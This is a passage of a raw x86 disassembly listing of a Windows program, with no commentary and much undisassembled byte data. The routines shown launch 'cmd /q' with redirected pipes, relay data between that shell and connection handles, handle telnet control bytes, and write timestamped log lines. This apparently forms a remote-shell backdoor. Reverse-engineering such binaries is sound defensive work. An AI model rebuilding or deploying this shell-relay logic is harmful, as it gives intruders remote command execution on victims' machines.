loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi


loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2670C08h
		nop
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEB8[eax], ecx
		nop
		call	near ptr 2670858h
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_434474
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344B4
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAF8C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		call	near ptr 27A0000h
		nop
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
		dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	9C15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEB4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	27F11FE8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 227F0B0h,	90EDEB90h
		dd 27FA77E8h, 858D5002h, 0FFFFFD2Ch, 43452468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022DECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0BCB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022DEBh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAF8Ch, 187FC085h
		dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h
		dd 90022DEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Dh,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh,	50004CAFh
		dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFC415FFh
		dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Dh, 50106AE8h, 1C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h,	4CB00C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2DE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
		dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 0E982E890h, 36FF022Dh, 0B00C15FFh, 75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
		db 2Dh,	2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE60
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE60
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 11E89000h
		dd 390227ECh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Dh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 5415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	5415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFA015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0EB4AE890h, 8DFF0227h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 27EB17E8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 2DE6DBE8h, 7D8B9002h,	0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
		dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF4C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB00C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Dh
		dd 3E8h, 27E7F7E8h, 0E8579002h,	0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	near ptr 27A0138h
		nop
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-114h]
		push	offset asc_434E54 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E24
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax


loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 0BB004Ch, 6A000002h,	0A5E89008h, 0FF0227E6h,	4CAEF815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434E84h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
		dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2DE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h,	4589026Ah
		dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Dh, 69106AD0h,	234C0h
